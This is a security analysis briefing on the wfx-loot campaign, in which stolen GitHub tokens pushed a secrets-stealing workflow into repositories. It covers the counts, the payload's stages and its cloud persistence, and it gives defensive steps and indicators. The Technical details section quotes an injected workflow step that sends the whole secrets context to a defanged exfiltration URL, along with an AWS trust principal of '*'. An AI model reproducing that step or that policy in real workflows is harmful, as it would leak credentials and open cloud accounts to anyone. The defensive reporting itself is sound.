P.K. SHARMA

Cyber security intelligence, AI governance, practitioner analysis

Aikido says stolen GitHub tokens probed 61,764 repositories and its wfx-loot stealer ran in over 1,800

Aikido, a security vendor, says compromised GitHub accounts opened probe pull requests in 61,764 repositories from 10 November, and its wfx-loot stealer ran in at least 1,806 (or 1,835) of them, a figure its post gives two ways. Who stole the tokens, and how many secrets were used, is not stated.

By · LinkedIn · · 20 min read

12.8 repositories per account, and 2.9 per cent that ran the payload: Aikido's counts, with ratios

Aikido says 4,837 compromised accounts opened probe pull requests in 61,764 repositories. That is 12.8 repositories per account on average (derived; Aikido gives no spread). It also says the payload ran in at least 1,806 repositories in the body of its post and at least 1,835 in its introduction. 1,806 is 2.9 per cent of 61,764 (derived), and 1,835 is 3.0 per cent (2.97, derived). The two figures sit 29 apart (derived) on one page.

What those figures do not establish: how many secrets were taken and then used, who is behind the campaign, how the GitHub credentials were stolen, or what GitHub has done about it. Every count is one vendor's telemetry. Aikido sells code and supply chain security products and its post ends with an offer of them, so its counts are Aikido's, not independent ones. Help Net Security's report of the same day repeats them without adding a count of its own.

Aikido's post is dated 12 November 2026 in its page data, which also lists a last-modified time of 08:32 UTC that day. It was read in full as saved at about 14:57 UTC on Thursday 12 November 2026. Help Net Security's article, dated 09:24 UTC the same day in its page data, was read as saved at about 14:56 UTC. Aikido's window for its pull request count ends at 15:00 UTC on 11 November, about 17.5 hours before the post's last-modified time (derived), so every count here is a snapshot, and Aikido's own "at least" treats the ran counts as floors.

Aikido's counts as its post states them, with ratios derived by this site (read 12 November 2026). The last column says what each figure does not show.

As Aikido states itDerived by this siteWhat it does not establish
4,837 compromised accounts opened probe pull requests in 61,764 repositories12.8 repositories per account (mean)The spread: one account may account for thousands. How the accounts were compromised.
GitHub search returns 61,839 probe pull requests, opened from 12:45 UTC on 10 November to 15:00 UTC on 11 November75 more pull requests than repositories. A mean of about 2,356 an hour over 26.25 hoursWhether the search and the repository count use the same method. Anything opened after 15:00 UTC on 11 November.
10,431 of the pull requests went into repositories the account does not own, through collaborator or organisation access16.9 per cent of 61,839. The other 51,408 are not describedWhich repositories, and which organisations. The denominator is this site's reading, because the sentence does not name it.
92 per cent of "them" are still open9,597 if of the 10,431. 56,892 if of all 61,839Which count "them" means, and the date and time of the measurement.
At least 1,806 repositories ran the payload (body). At least 1,835 (introduction)2.9 per cent and 3.0 per cent of 61,764. 59,958 repositories (97.1 per cent) are the rest at the lower figureHow "ran" was counted, and how many secrets were then used.
At least 50 compromised users appear to publish packagesAt least 1.0 per cent of the 4,837 accountsHow many packages they publish, or whether any carried the payload beyond the three named releases.

What Aikido says happened, in its order

Aikido says a threat actor "used stolen GitHub credentials" and, from about 12:45 UTC on 10 November, used compromised GitHub tokens to spread the malware. For each repository a stolen token can write to, the post describes three moves. The ordering below follows the post, and the diagram sets the same steps beside the questions it leaves open.

Probe. The actor opens a pull request titled "docs: dependency audit notes" from a branch named wfx-docs, which Aikido says confirms write access. Aikido calls it only a probe, followed by commits that carry the real payload. Its rule for the reader is blunt: if the probe ran, that user is compromised, even if the workflow stage did not run.

Push the payload, in one of three variants, all carrying the same shell script of about 1,500 lines. Clean up. Aikido says the actor reverts within at most one minute and deletes the workflow run with its logs, so a missing run number in the workflow history is often the only trace.

The three delivery variants as Aikido's post describes them (read 12 November 2026). The third column is what the post says each one adds.

VariantCommit title as printedWhat it adds
Workflow injectionci: refresh build cacheAbout 1,500 lines added to an existing workflow
Install hookchore: add ci helperA .ci-xxxxxx.sh script and a postinstall hook in package.json that runs it on any npm install
Throwaway branchchore: add dependency audit workflowA new file .github/workflows/build-audit-xxxxxx.yml on a chore/xxxxxxxx branch
Drawn by this site from Aikido's post, read 12 November 2026. Grey cards mark what the post does not state.

Probes, runs and stolen secrets are three different counts

The headline number, 61,764, counts repositories where a stolen token opened a probe. A probe proves one thing: write access existed. It does not show that the payload ran there, and Aikido says so: most of the rest "had nothing pushed after the probe, or the infected workflow didn't run". At the lower figure that rest is 59,958 repositories, 97.1 per cent (derived). The post does not split them.

The second count is the repositories where the payload ran. Aikido writes of "indications" and says the number "may understate impact", because the run log was deleted in impacted repositories. The method that turns a missing run number into a count is not given. The introduction says at least 1,835 repositories "have had credentials exfiltrated", while the body says only that the actor "has likely collected" them. Those are different strengths of claim on one page, 29 repositories apart.

The third count, secrets taken and then used, is absent. No cloud account, package registry or victim is named, and no figure is given for stolen credentials being abused. A reader should therefore carry two caveats into any quotation of the post: "ran" is inferred from traces the actor tried to remove, and "exfiltrated" is stated in one place and softened in another.

The 92 per cent figure shows how a pronoun can move a count. Aikido writes that 10,431 of the pull requests went into repositories the account does not own, and that "92% of them are still open". Help Net Security restates this as 92 per cent of the probe pull requests. Read Aikido's way, about 9,597 are open (derived); read Help Net Security's way, about 56,892 (derived). Neither says when the open state was checked. Aikido's own gloss is that this "suggests most owners haven't noticed", an inference about owners that the count alone cannot test.

One more small gap: 61,839 pull requests against 61,764 repositories, 75 more (derived). Aikido gives the first as a GitHub search result and the second as its own count. It does not say whether some repositories received more than one pull request or whether the two counts were taken differently.

Drawn by this site from Aikido's post, read 12 November 2026. Ratios are derived by this site and marked as such.

What the script takes, raises and leaves behind

Aikido describes a single shell script of about 1,500 lines that is "heavily commented, not obfuscated" and calls itself "wfx" in logs and variable names. It works in four stages. Aikido stresses that its description covers everything the script can do, and that some exfiltration features were turned off in this campaign. The table keeps the two apart.

What Aikido's post says the payload does, by stage, and what it says was switched off in this campaign (read 12 November 2026).

StageWhat the script can do, per AikidoIn this campaign, per Aikido
CollectActions secrets and variables, the workflow token, OIDC and runtime tokens, the full environment plus a filtered copy of variables matching keywords such as token, secret, aws, azure, openai and anthropic, credential files for AWS, Azure, GCP, Docker, Kubernetes, npm, PyPI, Git, SSH, GPG, Vault and Terraform, AI provider and AI tool tokens, shell histories, and files such as .env and kubeconfig under the home directory. On self-hosted runners only: cloud instance metadata credentials.Not stated which of these were obtained in any repository.
EscalateMints GitHub OIDC tokens for AWS, GCP and Azure and exchanges them for cloud sessions. In AWS it chains into other roles and calls iam:CreateAccessKey for long-lived keys. In GCP it signs tokens with service account keys. In Azure it exchanges tokens and replays cached refresh tokens. It also replays tokens against Vault and Kubernetes.Not stated which cloud accounts were reached.
PersistPosts forged success status checks, rewrites an AWS role trust policy so any AWS account can use it, and adds federated identity credentials to Azure applications that point back to the compromised repository.Not stated how many repositories, roles or applications.
ExfiltrateCache, step summary and artifact channels that use GitHub's own infrastructure, a direct HTTP POST, a secondary callback, an encrypted commit, a run log copy and a Telegram bot.Data sent only by HTTP POST to two servers. Cache, summary and artifact channels off because the private repository flag is off. Encrypted commit and run log channels disabled. No secondary callback.

The consequence for checking is the one Aikido draws itself: the absence of artifacts, cache entries or step summaries "does not mean data was not taken", because those channels were off and the run itself is usually deleted. A missing run number on the attacker's commit is, in Aikido's words, "the more reliable sign that the payload ran".

The persistence steps are the ones to read twice. Aikido says the AWS trust policy change and the Azure federated credentials are designed to "outlast credential rotation". Rotating a secret does not remove a role that trusts every AWS account, or an Azure application that already trusts the repository's own workflows. Help Net Security puts the consequence in one line: each one has to be tracked down and removed in every cloud account tied to the affected workflows.

Labels doing the work of controls

A green tick is a name. Aikido says the payload posts forged success status checks using the context names of the repository's required checks, and that "Branch protection matches on the context name, not on the app that posted it". If that holds for a given repository's settings, a required check is only a string that something running with the repository's own credentials can claim to have passed. That follows from Aikido's statement about how matching works. This site has not tested it, and the check is worth making on your own rules.

Plausible titles are camouflage. The probe is "docs: dependency audit notes", the injected step is "Restore cache", the throwaway workflow is a "build audit", the commits are "refresh build cache" and "add ci helper". Each reads as routine housekeeping in a repository that nobody is watching. Aikido's figure that 92 per cent of a set of probe pull requests are still open is consistent with them not having been read closely, though a count of open requests cannot show why they are open.

A malware feed is not a workflow monitor. The detection Aikido describes is about packages: users filter malware issues in a central feed, and compromised packages related to this campaign "will surface as a 100/100 critical issue". It also offers Safe Chain, which checks npm, yarn and pnpm packages before install, and Device Protection for software on team devices. The post does not say that any of these detects a probe pull request or a modified workflow file in your own repository, and the main route in this campaign, a stolen token pushing a change into your own repository, does not depend on anyone installing a malicious package from a registry. The post's own remedies for the repository case are manual: look for the branch, the title, the commits and the skipped run number.

Three releases in two packages, and what the Go tags do and do not carry

Aikido says the payload reached "at least one Packagist and one Golang package" through automated publishing triggers, and lists three releases: one Packagist version, 3.14.3, and two tags of one Go module, v1.0.278 and v1.0.280 (three releases in two packages, derived). The names carry the publishers' account names, so this briefing does not print them: they are in the indicators list of Aikido's post, and a defender should take them from there. Aikido also says at least 50 compromised users appear to publish packages in npm, Go, Packagist, PyPI or crates, yet it names no npm, PyPI or crates release. Whether others exist is not stated.

The two kinds of release differ in what they put at risk. For the Packagist release Aikido says: "Treat any machine that installed or opened either version as compromised." The sentence says "either" although the line before it names a single Packagist version, and it does not say what the payload does inside that package. For the Go tags, the payload is "in a GitHub Actions workflow file only": Aikido says the Go source and release binaries are unchanged and that Go builds never run workflow files, so consumers of the module "may not have been affected". It still recommends removing them. Neither page gives download or install counts, and neither says whether the registries have removed anything.

The overlap with October's GhostAction accounts

Aikido says accounts hit by GhostAction in October were "significantly more likely than baseline" to be hit by wfx-loot, and that in more than 100 repositories wfx-loot was injected into GhostAction's own workflow files. No baseline or overlap count is given. It still assesses the two as distinct: "we assess that these are distinct campaigns likely carried out by different threat actors", because the infrastructure, tooling and tradecraft differ and stolen credentials often reach several actors. The overlap is therefore a clue about where the tokens may have come from, not a statement of where they did. Aikido does not say how the wfx-loot tokens were stolen.

Aikido also notes Indonesian-language comments in some newer versions of the script, which it attributes to a hasty edit to add Telegram exfiltration, and says it has never seen Indonesian artefacts in GhostAction activity. It draws no attribution from this and neither does this briefing: a language in a code comment says little about who wrote it.

This site covered the earlier campaign twice: GhostAction: 345 repositories in two sweeps, 81% forks and GhostAction stage two, 19 October 2026: 94 repositories, 66 owners. A different campaign built on stolen tokens, in which private repositories were the target, is in Wiz on Gheist. Those are earlier reports on other campaigns, linked for context, and none is evidence about wfx-loot.

What Aikido states, and what it does not

"Not stated" means not found on Aikido's page or in Help Net Security's article, both read in full. It does not mean the information does not exist.

What Aikido's post (12 November 2026) states and does not state. Help Net Security adds no count to either column.

The questionStatedNot stated
How were the tokens stolen?"Stolen GitHub credentials"; accounts hit by GhostAction in October were more likely to be hitHow, when, which kinds of token, or whether the overlap is the source
Who is behind it?"A threat actor"; likely not the actor behind GhostActionAny attribution, motive beyond CI secrets, or organisation
What has GitHub done?Its search result is the source of the 61,839 countAny GitHub statement, token revocation, takedown or count
How many secrets were taken and used?At least 1,835 (introduction) or 1,806 (body) repositories ran the payloadSecrets obtained, cloud accounts reached, abuse, or any named victim
How was "ran" counted?"Indications"; deleted logs; a skipped run number is the more reliable signThe method, the false positive rate, or a split of the remaining repositories
Are private repositories hit?Dedicated settings suggest it "may be" happeningAny observed private repository, or how many
Were the packages used?One Packagist version and two Go tags carried it; at least 50 compromised users appear to publish packagesDownloads, registry action, or any npm, PyPI or crates release
Is the count final?Based on "data we've currently collected"; pull requests counted to 15:00 UTC on 11 NovemberA later count, or the time the 92 per cent was measured

Where the sources differ

Most differences are inside Aikido's own post. They are kept here as differences and not resolved.

Differences found between and within the two sources, read 12 November 2026, and how this briefing handles each.

PointWhat the sources sayHow this briefing handles it
Repositories where the payload ranAikido's introduction: at least 1,835, which have had credentials exfiltrated. Aikido's body: indications of at least 1,806, possibly understated. Help Net Security: more than 1,800Both figures shown; the title says "over 1,800", which both support
Credentials takenIntroduction: "have had credentials exfiltrated". Body: the actor "has likely collected" themTreated as likely, not proved; the verb "ran" is used for the count
The 92 per centAikido: "92% of them", following the 10,431. Help Net Security: 92 per cent of the probe pull requestsBoth readings given, with the derived counts for each
Commit titlesAikido's affected list names three titles; its indicators list names five, adding "ci: restore" and "ci: cleanup"All five printed. That the two extra ones are clean up commits is this site's inference; Aikido does not say
The Packagist sentenceNames one Packagist version, then says "either version"Quoted as printed; one Packagist version is treated as the count
Private repositoriesAikido: dedicated settings suggest the payload "may be" deployed in them. Help Net Security: it "may be running in places outside researchers can't see"Aikido's wording followed; no private repository is claimed as hit

What to do, in order

Take this with you

Ranked by urgency. Each item says whose advice it is.

  • First, check whether you are affected (Aikido): search every repository you can write to, including organisation repositories reached through access, for the wfx-docs branch, the probe pull request title, the three commit titles and the chore/ branches dated 10 November or later.
  • Second, find the skipped run (Aikido's sign, this site's method): for each flagged repository, list the workflow run numbers and look for a gap beside the attacker's commit. A gap, not an artifact, is the more reliable sign.
  • Third, treat a confirmed run as a full secret exposure (Aikido): rotate every secret and cloud role its workflows could reach. This site suggests starting with cloud roles and package publishing tokens, because those reach furthest.
  • Fourth, remove the persistence that rotation does not (Aikido describes it, the review is this site's suggestion): inspect AWS role trust policies for a principal of any AWS account and for new access keys, and inspect Azure application federated credentials, including any named wfx-ci- followed by more text, and remove what you did not create.
  • Fifth, treat the account behind a probe as compromised (Aikido): the user whose token opened the pull request is compromised even if the workflow stage did not run. This site suggests revoking that user's personal access tokens and app authorisations and reissuing them.
  • Sixth, re-check recent merges (this site's suggestion): Aikido says forged status checks can clear merge gates, so look again at what was merged into protected branches in flagged repositories since 10 November, and ask whether your required checks are tied to a named app or only to a name.
  • Seventh, handle packages (Aikido): treat any machine that installed the named Packagist release as compromised, and remove the named Go module tags. Take the names from Aikido's indicators list.
  • Eighth, hunt for the network indicators (Aikido printed them, the hunt is this site's suggestion): search proxy, DNS and runner egress logs since 10 November for the two addresses in Technical details, without visiting them.
  • Ninth, assume private repositories too (Aikido's inference): the script has settings for them, so apply the checks above to private repositories before assuming they are clear.
  • Tenth, shrink what a stolen token can do (this site's suggestion): default workflow token permissions to read only, require review on changes under the workflows directory, limit who can push branches, and bind cloud trust to a specific repository and branch or environment.

Technical details

Everything below is printed by Aikido's post, read 12 November 2026, and copied as printed, with one value omitted and marked. Addresses are defanged as Aikido defangs them and must never be visited. This briefing prints no script contents beyond the fragments Aikido prints, and no working code. The package and module names are withheld because they carry publisher account names; they are in Aikido's indicators list.

GitHub indicators. These are the branches, pull request title and commit titles Aikido lists. A defender searches repositories, pull request lists and commit history dated 10 November or later for them. The regular expressions are as Aikido prints them.

Text
Branches: wfx-docs, chore/[a-z0-9]{8}, ci-check-[0-9]{4}
Pull request title: docs: dependency audit notes
Commit messages:
ci: refresh build cache
ci: restore
chore: add ci helper
ci: cleanup
chore: add dependency audit workflow
GitHub indicators as printed by Aikido in its post, read 12 November 2026.

Names the variants create. Aikido gives these file and branch shapes for the install hook and the throwaway workflow. A defender looks for them in new commits, in package.json scripts and under the workflows directory, since the xxxxxx and xxxxxxxx parts are placeholders for variable characters (the post calls the branch suffix eight random characters).

Text
.ci-xxxxxx.sh
postinstall hook in package.json
.github/workflows/build-audit-xxxxxx.yml
chore/xxxxxxxx
File and branch name shapes as printed by Aikido in its post, read 12 November 2026.

The injected step. Aikido prints this excerpt of the injected workflow steps. It shows the payload handing the whole secrets and variables context to a callback address. A defender searches workflow files for these variable names and for any step that serialises the whole secrets context. This site has omitted the value of the callback token, which Aikido prints in full.

Text
- name: Pass runtime
  uses: actions/github-script@v7
  ...
- name: Restore cache j632
  env:
    WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
    WF_CTOKEN: "[value omitted by this site]"
    WF_SECRETS: "${{ toJSON(secrets) }}"
    WF_VARS: "${{ toJSON(vars) }}"
Excerpt of the injected workflow steps as printed by Aikido in its post, read 12 November 2026. One value is omitted by this site and marked.

Cloud persistence and exfiltration markers. The first line is the trust policy principal Aikido says the payload writes into an AWS role. The second is the name prefix of Azure federated credentials it adds. The last two are markers of the channels that Aikido says were off in this campaign. A defender reviews role trust policies and Azure application credentials for the first two and does not rely on the absence of the last two.

Text
"Principal": {"AWS": "*"}
wfx-ci-…
wfx-loot-<run id>
<!--WFX-BEGIN-->
Persistence and exfiltration strings as printed by Aikido in its post, read 12 November 2026.

Network indicators. The two servers that Aikido says received the data by HTTP POST. A defender searches proxy, DNS and egress logs from 10 November and blocks them, without connecting to them.

Text
194.150.166[.]244:8080 (/exfil)
18.143.168[.]96:8080 (/exfil)
Network indicators as printed, defanged, by Aikido in its post, read 12 November 2026.

The stealer script hash. The SHA-256 digest Aikido lists for the stealer script. A defender can match it against files retained from a runner or repository. This site did not obtain or open the file.

Text
89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf
Stealer script hash as printed by Aikido in its post, read 12 November 2026.

GhostAction overlap indicators. Aikido lists these as matching known GhostAction indicators in some of the same accounts. They belong to the October campaign, not to wfx-loot, and a defender checks for them as a separate finding.

Text
193.32.204[.]199
193.32.204[.]199:8080
public/fonts/fa-solid-400.woff2
#ghc2
GhostAction indicators as printed, defanged, by Aikido in its post, read 12 November 2026.

Aikido prints no detection rule, query or log line for this campaign. The searches above are descriptions of what to look for, not rules Aikido publishes.

The question Aikido's count leaves open

Aikido counted 61,839 probe pull requests from the outside, with a single search on a title, and its own reading is that most owners have not noticed them. If an outsider can count them that way, what in your organisation would show you the same search, run against your repositories today, and who would notice a skipped run number?

Key facts

Sources

  1. PrimaryAikido's post dated 12 November 2026: the counts, the three payload variants, the persistence steps, the three releases, the indicators and the GhostAction overlap. The vendor's own post, read in full as savedAikido Securityaccessed 2026-11-12
  2. Reported byHelp Net Security, 12 November 2026 (09:24 UTC in its page data): a same day write-up of Aikido's post. Used to compare wording, not as a source of any figureHelp Net Securityaccessed 2026-11-12

Share this briefing

Know someone who owns this problem? Send it to them.

Related briefings

The briefing, in your inbox

Practitioner analysis of cyber and AI security news. No vendor noise.

How often

Every new briefing in one email, at 7am, or at 7am, 12:30pm and 6pm. Nothing is sent when nothing is new. Unsubscribe any time.